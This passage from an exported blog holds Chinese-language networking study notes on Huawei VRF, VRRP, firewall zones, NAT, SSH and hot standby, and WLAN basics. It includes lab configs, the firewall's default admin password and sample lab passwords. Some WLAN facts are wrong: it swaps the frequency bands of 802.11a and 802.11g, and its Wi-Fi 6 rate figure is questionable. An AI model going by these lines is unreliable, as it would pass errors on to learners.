externalpeer ebgp as-number 300peer ebgp ebgp-max-hop 2peer ebgp connect-interface LoopBack0peer ebgp password simple huawei123peer x.x.x.x group ebgp"},{"title":"","date":"2024-03-11T03:00:00.000Z","updated":"2024-03-11T03:00:00.000Z","comments":true,"path":"notes/datacom/25.html","permalink":"https://blog.mhuig.top/notes/datacom/25","excerpt":"","text":"VRF 虚拟路由转发 VRF 虚拟路由转发 VRFVRF: 虚拟路由转发，在三层将路由环境分割成多个虚拟环境，每个虚拟环境之间都是完全隔离的。通过用于 MPLS VPN 以及 VRF 中实现应用的隔离. 又称为 VPN 实例，是一种虚拟化技术，每个 VPN 实例拥有独立的接口，路由表和路由协议进程. 应用场景公司具备两张网络，管理网络和生产网络，此时如果两个网络需要隔离可以采用如下方案: 1. 通过 ACL 实现隔离: 缺点：配置繁琐，扩展性较差. 无法解决两张网络中网段重叠的问题 2. 物理隔离: 缺点：需要增加新的设备，造成额外的投入成本. 3.VRF: 通过部署虚拟实例，让两个网络完全隔离，并且无需增加新的设备投入. VRF 实现过程VRF 是对物理设备的一个逻辑划分。每个逻辑单元称为一个 VPN 实例，实例之间在路由层面上是完全隔离的 1. 创建实例，并且将三层接口绑定到实例中. ip vpn-instance XXXXipv4-family interface GigabitEthernet0/0/x ip binding vpn-instance XXXX 2. 配置实例绑定的路由信息. ip route-static vpn-instance GUANLI 2.2.2.2 24 12.1.1.2ip route-static vpn-instance SHENGCHAN 3.3.3.3 24 13.1.1.3 3. 基于与实例绑定的接口和路由协议建立路由转发表，并依据该转发表来转发数据. 在 VRF 中如果需要使用 ping 或 tracert 命令，需要注意添加对应的 VPN 实例名，否则默认会根据 public 路由表来进行查表. ping -vpn-instance GUANLI 12.1.1.2 实验 - 静态#sysname R1#ip vpn-instance GUANLI ipv4-family#ip vpn-instance SHENGCHAN ipv4-family#interface GigabitEthernet0/0/0 ip binding vpn-instance GUANLI ip address 12.1.1.1 255.255.255.0#interface GigabitEthernet0/0/1 ip binding vpn-instance GUANLI ip address 10.1.1.1 255.255.255.0#interface GigabitEthernet0/0/2 ip binding vpn-instance SHENGCHAN ip address 20.1.1.1 255.255.255.0#interface GigabitEthernet0/0/3 ip binding vpn-instance SHENGCHAN ip address 13.1.1.1 255.255.255.0#ip route-static vpn-instance GUANLI 2.2.2.0 255.255.255.0 12.1.1.2ip route-static vpn-instance SHENGCHAN 3.3.3.0 255.255.255.0 13.1.1.3----------------------------------------#sysname R2#interface GigabitEthernet0/0/0 ip address 12.1.1.2 255.255.255.0#interface LoopBack0 ip address 2.2.2.2 255.255.255.255#ip route-static 10.1.1.0 255.255.255.0 12.1.1.1------------------------------------------#sysname R3#interface GigabitEthernet0/0/0 ip address 13.1.1.3 255.255.255.0#interface LoopBack0 ip address 3.3.3.3 255.255.255.255#ip route-static 20.1.1.0 255.255.255.0 13.1.1.1---------------------------------------------PC&gt;ping 2.2.2.2Ping 2.2.2.2: 32 data bytes, Press Ctrl_C to breakFrom 2.2.2.2: bytes=32 seq=1 ttl=254 time=47 msFrom 2.2.2.2: bytes=32 seq=2 ttl=254 time=47 msFrom 2.2.2.2: bytes=32 seq=3 ttl=254 time=62 msFrom 2.2.2.2: bytes=32 seq=4 ttl=254 time=31 msFrom 2.2.2.2: bytes=32 seq=5 ttl=254 time=62 ms--- 2.2.2.2 ping statistics --- 5 packet(s) transmitted 5 packet(s) received 0.00% packet loss round-trip min/avg/max = 31/49/62 msPC&gt;------------------[R1]display ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 6 Routes : 6 Destination/Mask Proto Pre Cost Flags NextHop Interface 10.1.1.0/24 Direct 0 0 D 10.1.1.1 GigabitEthernet0/0/1 10.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 20.1.1.0/24 Direct 0 0 D 20.1.1.1 GigabitEthernet0/0/2 20.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/2 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0------------------------[R1]display ip routing-table vpn-instance SHENGCHANRoute Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: SHENGCHAN Destinations : 3 Routes : 3 Destination/Mask Proto Pre Cost Flags NextHop Interface 3.3.3.3/32 Static 60 0 RD 13.1.1.3 GigabitEthernet0/0/3 13.1.1.0/24 Direct 0 0 D 13.1.1.1 GigabitEthernet0/0/3 13.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/3 实验 - OSPF#sysname R1#ip vpn-instance GUANLI ipv4-family#ip vpn-instance SHENGCHAN ipv4-familyinterface GigabitEthernet0/0/0 ip binding vpn-instance GUANLI ip address 12.1.1.1 255.255.255.0#interface GigabitEthernet0/0/1 ip address 10.1.1.1 255.255.255.0#interface GigabitEthernet0/0/2 ip address 20.1.1.1 255.255.255.0#interface GigabitEthernet0/0/3 ip binding vpn-instance SHENGCHAN ip address 13.1.1.1 255.255.255.0#interface LoopBack0 ip address 1.1.1.1 255.255.255.255#ospf 1 router-id 1.1.1.1 vpn-instance GUANLI area 0.0.0.0 network 12.1.1.1 0.0.0.0 network 10.1.1.1 0.0.0.0#ospf 2 router-id 1.1.1.1 vpn-instance SHENGCHAN area 0.0.0.0 network 13.1.1.1 0.0.0.0 network 20.1.1.1 0.0.0.0----------------------------------------------------#sysname R2#interface GigabitEthernet0/0/0 ip address 12.1.1.2 255.255.255.0#interface LoopBack0 ip address 2.2.2.2 255.255.255.255#ospf 1 router-id 2.2.2.2 area 0.0.0.0 network 2.2.2.2 0.0.0.0 network 12.1.1.2 0.0.0.0----------------------------------------------------#sysname R3#interface GigabitEthernet0/0/0 ip address 13.1.1.3 255.255.255.0#interface LoopBack0 ip address 3.3.3.3 255.255.255.255#ospf 1 router-id 3.3.3.3 area 0.0.0.0 network 3.3.3.3 0.0.0.0 network 13.1.1.3 0.0.0.0------------------------------------------[R1]dis ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 7 Routes : 7 Destination/Mask Proto Pre Cost Flags NextHop Interface 1.1.1.1/32 Direct 0 0 D 127.0.0.1 LoopBack0 10.1.1.0/24 Direct 0 0 D 10.1.1.1 GigabitEthernet0/0/1 10.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 20.1.1.0/24 Direct 0 0 D 20.1.1.1 GigabitEthernet0/0/2 20.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/2 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R1]dis ip routing-table vpn-instance GUANLIRoute Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: GUANLI Destinations : 3 Routes : 3 Destination/Mask Proto Pre Cost Flags NextHop Interface 2.2.2.2/32 OSPF 10 1 D 12.1.1.2 GigabitEthernet0/0/0 12.1.1.0/24 Direct 0 0 D 12.1.1.1 GigabitEthernet0/0/0 12.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 实验 - 冲突[R1-GigabitEthernet0/0/0]ip add 10.1.1.1 24Mar 11 2024 15:45:28-08:00 R1 %%01IFNET/4/LINK_STATE(l)[0]:The line protocol IP on the interface GigabitEthernet0/0/0 has entered the UP state. [R1-GigabitEthernet0/0/0]int g0/0/1[R1-GigabitEthernet0/0/1]ip add 10.1.1.2 24Error: The specified address conflicts with another address.----------------------# sysname R1#ip vpn-instance vpna ipv4-family#ip vpn-instance vpnb ipv4-family#interface GigabitEthernet0/0/0 ip binding vpn-instance vpna ip address 10.1.1.1 255.255.255.0 #interface GigabitEthernet0/0/1 ip binding vpn-instance vpnb ip address 10.1.1.2 255.255.255.0 #interface LoopBack1 ip binding vpn-instance vpna ip address 11.1.1.1 255.255.255.255 #interface LoopBack2 ip binding vpn-instance vpnb ip address 11.1.1.2 255.255.255.255 ---------------------------------------PC&gt;ping 11.1.1.1Ping 11.1.1.1: 32 data bytes, Press Ctrl_C to breakFrom 11.1.1.1: bytes=32 seq=1 ttl=255 time=31 msFrom 11.1.1.1: bytes=32 seq=2 ttl=255 time=15 msFrom 11.1.1.1: bytes=32 seq=3 ttl=255 time=16 msFrom 11.1.1.1: bytes=32 seq=4 ttl=255 time=16 msFrom 11.1.1.1: bytes=32 seq=5 ttl=255 time=31 ms--- 11.1.1.1 ping statistics --- 5 packet(s) transmitted 5 packet(s) received 0.00% packet loss round-trip min/avg/max = 15/21/31 ms 实验 - 旁挂防火墙#sysname R1#ip vpn-instance vpna ipv4-family#interface GigabitEthernet0/0/0 ip binding vpn-instance vpna ip address 10.1.1.1 255.255.255.0#interface GigabitEthernet0/0/1 ip address 100.1.1.1 255.255.255.0#interface GigabitEthernet0/0/2 ip address 12.1.1.1 255.255.255.0#interface GigabitEthernet0/0/3 ip binding vpn-instance vpna ip address 21.1.1.1 255.255.255.0#ip route-static 10.1.1.0 255.255.255.0 12.1.1.2ip route-static vpn-instance vpna 100.1.1.0 255.255.255.0 21.1.1.2-----------------------------------#sysname R2#interface GigabitEthernet0/0/0 ip address 12.1.1.2 255.255.255.0#interface GigabitEthernet0/0/1 ip address 21.1.1.2 255.255.255.0#ip route-static 10.1.1.0 255.255.255.0 21.1.1.1ip route-static 100.1.1.0 255.255.255.0 12.1.1.1#--------------------------------------PC&gt;ping 100.1.1.2Ping 100.1.1.2: 32 data bytes, Press Ctrl_C to breakFrom 100.1.1.2: bytes=32 seq=1 ttl=125 time=125 msFrom 100.1.1.2: bytes=32 seq=2 ttl=125 time=125 msFrom 100.1.1.2: bytes=32 seq=3 ttl=125 time=125 msFrom 100.1.1.2: bytes=32 seq=4 ttl=125 time=141 msFrom 100.1.1.2: bytes=32 seq=5 ttl=125 time=141 ms--- 100.1.1.2 ping statistics --- 5 packet(s) transmitted 5 packet(s) received 0.00% packet loss round-trip min/avg/max = 125/131/141 msPC&gt;tracert 100.1.1.2traceroute to 100.1.1.2, 8 hops max(ICMP), press Ctrl+C to stop 1 10.1.1.1 31 ms 47 ms 47 ms 2 21.1.1.2 62 ms 63 ms 62 ms 3 12.1.1.1 109 ms 110 ms 94 ms 4 100.1.1.2 93 ms 110 ms 109 ms"},{"title":"","date":"2024-03-12T03:00:00.000Z","updated":"2024-03-12T03:00:00.000Z","comments":true,"path":"notes/datacom/26.html","permalink":"https://blog.mhuig.top/notes/datacom/26","excerpt":"","text":"VRRP VRRP VRRPVRRP: 虚拟路由冗余协议。是一个用于实现网关冗余的协议. 网关 (gateway): 在一个网络内数据包的出口设备. 网络层 VRRP 工作原理将多个网关设备组成一个 VRRP 组，在一个组内维护一台虚拟路由器，这台虚拟路由器具有独立的 IP 地址和 MAC 地址，用于虚拟路由的 IP 地址作为网关地址. 组内会选举出一台物理设备作为 MASTER 设备，MASTER 是虚拟路由器转发数据的真实设备。用户的流量实际上是由 MASTER 来进行转发，组内其他设备称为 BAKCUP 设备，BACKUP 设备会监听 MASTER 状态，检测到 MASTER 失效会成为新的 MASTER 设备，并接替其工作. VRRP 基本概念1.VRRP 组号：一个 VRRP 组通过组号来进行区分，组号的取值范围 1-255. 2.VRRP 虚拟 IP:VRRP 组的虚拟路由器的 IP 地址。实际上是由 MASTER 设备来进行维护的. 3.VRRP 虚拟 MAC: 是虚拟路由器的 MAC 地址，其 MAC 地址与 VRID 相关. 0000-5e00-01XX 其中最后一个字节是该虚拟路由器的 VRID. 4.VRRP 优先级：VRRP 设备通过优先级数值来选举 MASTER 设备，优先级数值越高越优先，优先级范围为 0-255, 但用户可以配置的范围 1-254. 缺省值为 100. 优先级 0 表示设备主动放弃 MASTER 角色. 优先级 255 表示该设备为 IP 地址拥有者。即该设备接口的 IP 地址与虚拟地址一致。此时无论接口优先级配置成多少，在报文中均显示为 255. [R1-GigabitEthernet0/0/1]vrrp vrid 1 virtual-ip 10.1.1.254[R1-GigabitEthernet0/0/1]vrrp vrid 1 priority 120display vrrp brief display vrrp VRRP 状态机Master: 是 master 设备最终的稳定状态，处于 MASTER 状态的设备，MASTER 设备会通过虚拟 MAC 地址来响应虚拟 IP 地址的 ARP 请求，会转发用户数据，会周期性发送 VRRP 通告报文. Backup: 是 backup 设备最终稳定的状态，处于 backup 状态的设备，会监听 MASTER 发出的 VRRP 通告报文，不会响应虚拟 IP 地址的 ARP 请求，也不会为用户转发数据. Initialize: 是 VRRP 设备初始化的状态，当接口刚运行 VRRP 时会处于该状态，如果接口状态为 down, 则会持续处于该状态. 当一个设备配置了 VRRP 协议后，接口处于 Initialize 状态，此时如果接口的优先级为 255 (即该设备为 IP 地址拥有者), 此时直接从 Initialize 进入 MASTER 状态，如果优先级非 255, 则先进入 backup 状态. 处于 backup 状态的设备会启动一个 master_down 定时器，当定时器超时后会转变为 master 状态. 当设备从 master 状态或 backup 状态检测到接口变为 down, 则进入 initialize 状态. 如果一台设备处于 master 状态，且收到一个更优的 VRRP 通告报文，则由 master 状态变为 backup 状态 MASTER_DOWN 计时器MASTER_DOWN 计时器 = 3 * 通告时间 + skew_time Skew_time=(256 - 接口优先级)/256 优先级数值越大的设备越先超时，先进入 MASTER 状态，进入后会在网络中发送 VRRP 通告报文，backup 设备收到通告报文后会刷新自己的 MASTER_DOWN 计时器，从而持续维护 backup 状态。当 MASTER 失效后，不再 VRRP 报文，此时优先级最高的 backup 设备计时器会先超时，成为新的 MASTER 设备. 如果 backup 设备收到一个优先级为 0 的报文，backup 设备等待 skew_time 后进入 MASTER 状态. 通告时间 默认 1s 接口优先级 大 =&gt;MASTER_DOWN 小 =&gt; 优先超时 =&gt; 优先变成 MASTER VRRP 报文VRRP 协议只有一种报文，称为 VRRP 通告报文，只有 MASTER 设备会发出该报文，MASTER 通过组播的方式发送 VRRP 报文 组播地址为 224.0.0.18 VRRP 基于 IP 工作，协议号为 112 由于 backup 设备不通告报文，所以 MASTER 设备并不知道 backup 设备的信息，其他 backup 设备也相互不知道对方的信息. trackTrack: 在 VRRP 中可以通过 track 来检测上行链路或业务，将 track 与 VRRP 优先级进行关联，如果上行业务失效，则通过降低优先级的方式来切换 master 角色. [R1-GigabitEthernet0/0/1]vrrp vrid 1 track interface GigabitEthernet0/0/0 reduced 20 VRRP 抢占延迟VRRP 抢占延迟：VRRP 协议默认开启抢占功能，master 在故障恢复后会立刻尝试抢占角色，如果此时上行链路的路由并未收敛，可能会导致用户的流量中断，此时可以开启抢占延迟等待足等长的时间让上行链路收敛，确保路由表正常后再去抢占确保用户业务不被中断. [R1-GigabitEthernet0/0/1]vrrp vrid 1 preempt-mode timer delay 45 // 设置抢占时间 VRRP 负载均衡VRRP 负载均衡：在 VRRP 中构建多个虚拟组，每个虚拟组都以不同的路由器作为 MASTER, 下行的业务以不同的虚拟 IP 地址作为网关，从而可以实现让多个网关设备同时为用户转发数据当某个网关故障时，其他的设备会接替它的 MASTER 角色，从而实现网关冗余. [R1-GigabitEthernet0/0/1]interface GigabitEthernet0/0/1 ip address 10.1.1.1 255.255.255.0 vrrp vrid 1 virtual-ip 10.1.1.254 vrrp vrid 1 priority 110 vrrp vrid 2 virtual-ip 10.1.1.253 vrrp vrid 2 priority 105[R2-GigabitEthernet0/0/1]interface GigabitEthernet0/0/1 ip address 10.1.1.2 255.255.255.0 vrrp vrid 1 virtual-ip 10.1.1.254 vrrp vrid 1 priority 105 vrrp vrid 2 virtual-ip 10.1.1.253 vrrp vrid 2 priority 110 VRRP-BFD[R1]bfdbfd R1_TO_R3 bind peer-ip 13.1.1.3 discriminator local 1 discriminator remote 3 commit[R1-GigabitEthernet0/0/1]vrrp vrid 1 track bfd-session 1 reduced 10"},{"title":"","date":"2024-03-13T03:00:00.000Z","updated":"2024-03-13T03:00:00.000Z","comments":true,"path":"notes/datacom/27.html","permalink":"https://blog.mhuig.top/notes/datacom/27","excerpt":"","text":"防火墙 防火墙 默认 PasswordUsername : admin Password : Admin@123 Username:adminPassword:Admin@123The password needs to be changed. Change now? [Y/N]: YPlease enter old password: Admin@123Please enter new password: huawei@123Please confirm new password: huawei@123 防火墙防火墙：可以在不同区域之间对流量进行过滤以及隔离，从而防止一个区域的威胁进入另一个区域，这里边的火主要指的是网络攻击和入侵，所以一般防火墙部署在网络的边界. 路由器和交换机的本质是转发，而防火墙的本质是控制. 防火墙的分类包过滤防火墙：是最早的防火墙，通过使用 ACL 实现对流量简单的控制。主要对经过的每一个数据包进行检查. 缺点: 1. 无法关联数据包之间的关系 2. 无法适应多通道协议 3. 通常不检测应用层数据. 代理防火墙：在应用层代理内部网络和外部网络之间的通信，安全性较高，但处理速度较慢，需要对每种应用单独开发对应服务，因此只能对少量的服务提供代理支持. 缺点:- 1. 处理效率较慢- 2. 软件升级较为困难。需要针对每一种应用开发.状态检测防火墙：通过动态分析报文的状态决定对报文采取的动作，不需要为每个应用程序都进行代理，处理速度更快且安全性较高. NGFW: 下一代防火墙，增加了很多高级特性以及自动化分析功能，结合 AI 和大数据自动对网络攻击进行阻断. 防火墙的特征逻辑区域的过滤器 隐藏内部网络结构 自身安全保障 主动防御攻击 目前网络防火墙在网络部署中的特点包括: 集中发放安全策略 安全功能复杂多样 需要专业的管理人员进行维护 安全隐患小 防火墙的组网方式1. 二层模式 (传输模式): 防火墙只进行报文转发，不进行路由寻址，防火墙的接口工作于同一个 IP 子网，防火墙本身接口无需配置 IP 地址。不影响原来的网络结构. 2. 三层模式 (路由模式): 防火墙的上下接口均配置 IP 地址，上下的业务分别在不同的 IP 子网中，这种组网方式可以让防火墙实现更多的安全特性，但会改变原有的网络拓扑结构. 防火墙的安全区域防火墙的安全区域 (security zone) 或简称为 zone. 区域是一个本地的逻辑概念，同属于一个区域的设备具备相同的安全策略属性. 区域是一个或多个接口的集合. 区域的作用: 1. 防火墙的安全策略都是基于区域来进行部署. 2. 在同一个区域内发生的数据流动是不存在安全风所以不需要实施安全策略. 3. 不同区域之间的数据流动会触发安全策略，并按照对应的策略所执行. 4. 同一个接口只能属于一个区域，而一个安全区域可有多个接口. 华为防火墙默认区域: 1.untrust 区域：非信任区域，一般用于连接安全级别较低的网络，例如企业外部网络或 internet. 优先级为 5. 2.trust 区域：信任区域，一般是企业可控的网络设备可以将企业内部网络规划在内部区域。优先级为 80. 3.DMZ 区域：非军事化区域，一般用于部署服务器网络，将对外提供的服务放置在 DMZ 区域，从而可以让外部用户访问。优先级为 50. 4.Local 区域：表示防火墙接口自身，所有最终终结在防火墙的流量均认为是访问 local 区域的。优先级为 100. 防火墙的接口必须划入到区域后才可以正常工作. 每个区域存在着一个区域优先级，优先级数值越大表示区域越可信。默认区域的优先级不可以更改。任意两个区域的优先级不能相同. 防火墙默认两个区域之间的流量是 deny 的，如果需要某些流量通过，必须在安全策略中方向对应的流量. 实验 - 二层[FW1]display zone interface GigabitEthernet1/0/0 ip address 10.1.1.1 255.255.255.0interface GigabitEthernet1/0/1 ip address 20.1.1.1 255.255.255.0firewall zone trust add interface GigabitEthernet1/0/0firewall zone untrust add interface GigabitEthernet1/0/1security-policy rule name PC3_TO_PC4 source-zone trust destination-zone untrust source-address 10.1.1.0 mask 255.255.255.0 destination-address 20.1.1.0 mask 255.255.255.0 service icmp action permit会话表[FW1]display firewall session table 防火墙放行ping (local)[FW1-GigabitEthernet1/0/0]service-manage ping permit 实验 - 三层vlan 10interface GigabitEthernet1/0/0 portswitch port link-type access port default vlan 10interface GigabitEthernet1/0/1 portswitch port link-type access port default vlan 10firewall zone trust add interface GigabitEthernet1/0/0firewall zone untrust add interface GigabitEthernet1/0/1security-policy rule name PC1_TO_PC2 source-zone trust destination-zone untrust source-address 10.1.1.0 mask 255.255.255.0 destination-address 20.1.1.0 mask 255.255.255.0 service icmp action permit NATNAT: 可以通过在防火墙配置 NAT, 实现私网设备访问公网地址，由于防火墙一般位于企业的边界网络，所以 NAT 的配置也是防火墙需要掌握的基本配置之一. 1, 交换机作为 VLAN 10 与 VLAN 20 的网关，实现两个 VLAN 内网互通. 2, 交换机与防火墙之间使用三层互联，交换机互联 vlan 为 vlan30. sw1: 10.1.30.1/24 FW:10.1.30.2/24 防火墙作为服务器网关,配置IP地址 192.168.1.1/24 防火墙与路由器之间配置IP地址 R1:100.1.1.1/24 FW:100.1.1.2/24 路由器作为client的网关,配置IP地址200.1.1.1/24 交换机配置静态缺省路由,网关指向防火墙 3, 将防火墙的接口划入到对应区域中， 防火墙配置2条到内网的路由以及一条缺省路由 ip route-static 0.0.0.0 0.0.0.0 100.1.1.1ip route-static 10.1.10.0 255.255.255.0 10.1.30.1ip route-static 10.1.20.0 255.255.255.0 10.1.30.1 4, 防火墙上配置策略以及 NAT 实现: PC能够访问互联网中的设备 security-policy rule name PC_TO_INTERNET source-zone trust destination-zone untrust source-address 10.1.10.0 mask 255.255.255.0 source-address 10.1.20.0 mask 255.255.255.0 action permitnat-policy rule name PC_EASY_IP source-zone trust destination-zone untrust source-address 10.1.10.0 mask 255.255.255.0 source-address 10.1.20.0 mask 255.255.255.0 action source-nat easy-ip nat-policy rule name HTTP source-zone untrust destination-address 100.1.1.2 mask 255.255.255.255 service protocol tcp destination-port 8080 action destination-nat static port-to-port address 192.168.1.100 80security-policy rule name HTTP source-zone untrust destination-zone dmz destination-address 192.168.1.100 mask 255.255.255.255 action permit WEBUIinterface GigabitEthernet0/0/0 ip address 10.10.10.2 255.255.255.0 service-manage http permit service-manage https permit service-manage ping permithttps://10.10.10.2:8443 SSH1.创建用于登陆的SSH用户,并将SSH用户进行角色关联[FW1]aaa[FW1-aaa]manager-user sshadmin [FW1-aaa-manager-user-sshadmin]password cipher huawei@123[FW1-aaa-manager-user-sshadmin]service-type ssh[FW1-aaa-manager-user-sshadmin]level 15[FW1-aaa]bind manager-user sshadmin role system-admin 2.启用SSH服务,并在接口下放行SSH[FW1]int g0/0/0[FW1-GigabitEthernet0/0/0]service-manage ssh permit [FW1]stelnet server enable 3.设置vty线路[FW1]user-interface vty 0 4[FW1-ui-vty0-4]protocol inbound ssh [FW1-ui-vty0-4]authentication-mode aaa4.指定用户的登录方式[FW1]ssh user sshadmin[FW1]ssh user sshadmin authentication-type password[FW1]ssh user sshadmin service-type stelnet 5.生成RSA密钥对.[FW1]rsa local-key-pair create The key name will be: FW1_HostThe range of public key size is (2048 ~ 2048). NOTES: If the key modulus is greater than 512, it will take a few minutes.Input the bits in the modulus[default = 2048]:Generating keys......+++++........................++....++++...........++命令行c:\\&gt;ssh sshadmin@10.10.10.2The authenticity of host '10.10.10.2 (10.10.10.2)' can't be established.ECDSA key fingerprint is SHA256:onA2uyf3daCaGnH9UsZUWjQc1FrYeSNNXBc+Bb4oiLk.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '10.10.10.2' (ECDSA) to the list of known hosts.User AuthenticationPassword:************************************************************************** Copyright (C) 2014-2018 Huawei Technologies Co., Ltd. ** All rights reserved. ** Without the owner's prior written consent, ** no decompiling or reverse-engineering shall be allowed. **************************************************************************Info: The max number of VTY users is 10, and the number of current VTY users on line is 1. The current login time is 2024-03-14 03:02:59+00:00.&lt;FW1&gt;syEnter system view, return user view with Ctrl+Z.[FW1] 防火墙双机热备通常情况下防火墙部署在网络的出口，如果防火墙出现故障，可能会导致内网的数据无法转发，此时需要通过部署，可能会导致内网的数据无法转发，此时需要通过部署 2 台防火墙形成双机热备. 双机热备条件1. 组成双机热备的防火墙必须是相同型号的。且安装相同的单板，单板的数量与位置必须相同. 2. 两台防火墙必须具有相同的系统版本以及系统补丁，组件包与特征库等信息也必须相同. 心跳线心跳线：心跳线是两台防火墙交互信息了解对端状态以及备份配置命令和各种表项的通道心跳线两端的接口一般也被称为” 心跳接口”. 心跳线中传递的信息: 1. 心跳报文 (helo 报文): 2 台防火墙定期 (默认为 1s) 交互的报文，用于检测对端是否存活. 2.VGMP 报文：了解对端设备 VGMP 组的状态，确定本端和对端设备当前状态是否稳定，是否需要进行故障切换. 3. 配置和表项备份报文：用于两台防火墙同步配置以及状态. 4. 心跳链路探测报文：用于检测对端设备的心跳接口是否正常接收本端设备的报文，确定是否心跳接口可以使用. 5. 配置一致性检查报文：用于检测两台防火墙的关键配置是否一致 (如安全策略、NAT 策略). 双机热备的工作模式1. 主备模式：流量由单台设备处理，路由规划和故障定位相对简单. 2. 负载分担模式：相对于主备模式配置复杂，需要考虑来回路径一致性，所有的用户流量由两台防火墙同时处理，可以承载更大的峰值流量. [FW1]firewall zone name HA[FW1-zone-HA]set priority 90[FW1-zone-HA]add interface g1/0/2[FW2]hrp interface g1/0/2 remote 100.1.1.1[FW1]hrp interface g1/0/2 remote 100.1.1.2HRP_M[FW1-GigabitEthernet1/0/0]vrrp vrid 1 virtual-ip 20.1.1.254 active HRP_S[FW2-GigabitEthernet1/0/0]vrrp vrid 1 virtual-ip 20.1.1.254 standby HRP_M[FW1-GigabitEthernet1/0/1]vrrp vrid 1 virtual-ip 10.1.1.254 activeHRP_S[FW2-GigabitEthernet1/0/1]vrrp vrid 1 virtual-ip 10.1.1.254 standby HRP_M[FW1-policy-security]security-policy rule name PC_TO_R1 source-zone trust destination-zone untrust source-address 10.1.1.0 mask 255.255.255.0 destination-address 1.1.1.1 mask 255.255.255.255 action permit displayHRP_M[FW1]hrp switch active HRP_M[FW1]display hrp configuration check zone Info: You must run the check command to view the result. Module State Start-time End-time Result zone init HRP_M[FW1]display hrp configuration check all Info: You must run the check command to view the result. Module State Start-time End-time Result all init HRP_M[FW1]display hrp state Role: active, peer: standby (\"hrp switch active\" on this device) Running priority: 45001, peer: 45000 Backup channel usage: 0.00% Stable time: 0 days, 0 hours, 0 minutes Last state change information: 2024-03-14 8:05:36 HRP core state changed, old_state = abnormal(standby), new_state = abnormal(active), local_priority = 45001, peer_priority = 45000.HRP_M[FW1]display hrp interface GigabitEthernet1/0/2 : running----会话表是同步的HRP_M[FW1]dis firewall session table Current Total Sessions : 3 udp VPN: public --&gt; public 100.1.1.2:16384 --&gt; 100.1.1.1:18514 udp VPN: public --&gt; public 100.1.1.2:49152 --&gt; 100.1.1.1:18514 udp VPN: public --&gt; public 100.1.1.1:49152 --&gt; 100.1.1.2:18514HRP_M[FW1]dis firewall session table Current Total Sessions : 3 udp VPN: public --&gt; public 100.1.1.2:16384 --&gt; 100.1.1.1:18514 udp VPN: public --&gt; public 100.1.1.2:49152 --&gt; 100.1.1.1:18514 udp VPN: public --&gt; public 100.1.1.1:49152 --&gt; 100.1.1.2:18514-----HRP_M[FW1]display hrp ? configuration Check local configuration with remote firewall history-information Indicate HRP history information interface Indicate HRP backup channels infomation state Indicate the HRP status infomation statistic Indicate HRP statistic information 心跳线的冗余心跳线的冗余：为了防止心跳线出现单点故障，可以在防火墙之间连接多跟心跳线，通过链路聚合的方式来实现链路冗余. HRP_M[FW1]interface Eth-Trunk 1HRP_M[FW1-Eth-Trunk1]trunkport GigabitEthernet 1/0/2 to 1/0/3HRP_M[FW1-Eth-Trunk1]mode lacp-staticHRP_M[FW1-Eth-Trunk1]ip add 100.1.1.1 24HRP_M[FW1]firewall zone HA HRP_M[FW1-zone-HA]add interface Eth-Trunk 1HRP_M[FW1]hrp interface Eth-Trunk 1 remote 100.1.1.2"},{"title":"","date":"2024-03-19T03:00:00.000Z","updated":"2024-03-19T03:00:00.000Z","comments":true,"path":"notes/datacom/28.html","permalink":"https://blog.mhuig.top/notes/datacom/28","excerpt":"","text":"WLAN WLAN WLANWLAN: 无线局域网，指的是无线技术构建的无线网络，通过 WLAN 技术可以让用户随时随地的接入网络，并且在 WLAN 覆盖的区域内实现自由移动，摆脱有线网络的束缚. 广义上指的是，无线电波，激光，红外线等无线信号来代替网络中部分或全部传输介质构成的网络. WLAN 的优点网络使用自由：凡是自由空间均可以连接网络，不受限于线缆和端口的位置. 网络部署灵活：对于地铁，公共交通监控等难以布线的场所。采用 WLAN 进行无线网络覆盖，免去了复杂的网络布线，实施简单，成本低，扩展性好. IEEE802.11 Wi-Fi制定无线技术 (Wi-Fi) 的标准为 IEEE802.11, 是目前无线局域网内最广泛的技术. IEEE802.11 的标准和 Wi-Fi 的历史 IEEE802.11 第一个版本发表于 1997 年，此后更多基于 IEEE802.11 的补充标准逐渐被定义. 标准类型: 802.11b,802.11a,802.11g,802.11n,802.11ac,802.11ax. 1997 年基于 IEEE802.11 使用的是 WIFI 1 (第一代), 频率 2.4GHZ, 传输速率为 2Mbit/s. 1999 年基于 802.11b 使用的是 WIFI 2 (第二代), 频率 2.4GHZ, 传输速率为 11Mbit/s. 2003 年基于 802.11a 和 802.11g 使用的是 WIFI 3, 传输速率为 54Mbit/s. 802.11a主要工作于2.4GHZ 802.11g主要工作于5GHZ 2009 年基于 802.11n 使用的是 WIFI 4, 可以工作于 2.4GHZ 和 5GHZ, 传输速率为 300Mbit/s. 2013 年基于 802.11ac wave1 使用的是 WIFI 5 技术，工作于 5GHZ, 传输速率为 1300Mbit/s. 2015 年基于 802.11ac wave2 使用的是 WIFI 5 技术，工作于 5GHZ, 传输速率为 6.9Gbit/s. 2018 年基于 802.11ax 使用的是 WIFI 6 技术，工作于 5GHZ, 传输速率为 6.9Gbit/s. 无线组网的三大组件AP: 无线接入点 AC: 无线控制器 PoE 交换机：通过以太网线为网络设备 (AP, 网络摄像头，IP 电话等等) 进行供电. WLAN 基本概念射频信号：提供基于 802.11 标准的 WLAN 技术的传输介质，是具有远距离传输能力的高频电磁波 STA: 工作站，支持无线的工作设备 VAP: 虚拟接入点，一个 VAP 就是一个无线业务，一个 AP 可以提供多个 VAP, 多个 AP 也可以提供一个 VAP 功能 WLAN 的组网方式二层组网：瘦 AP 和 AC 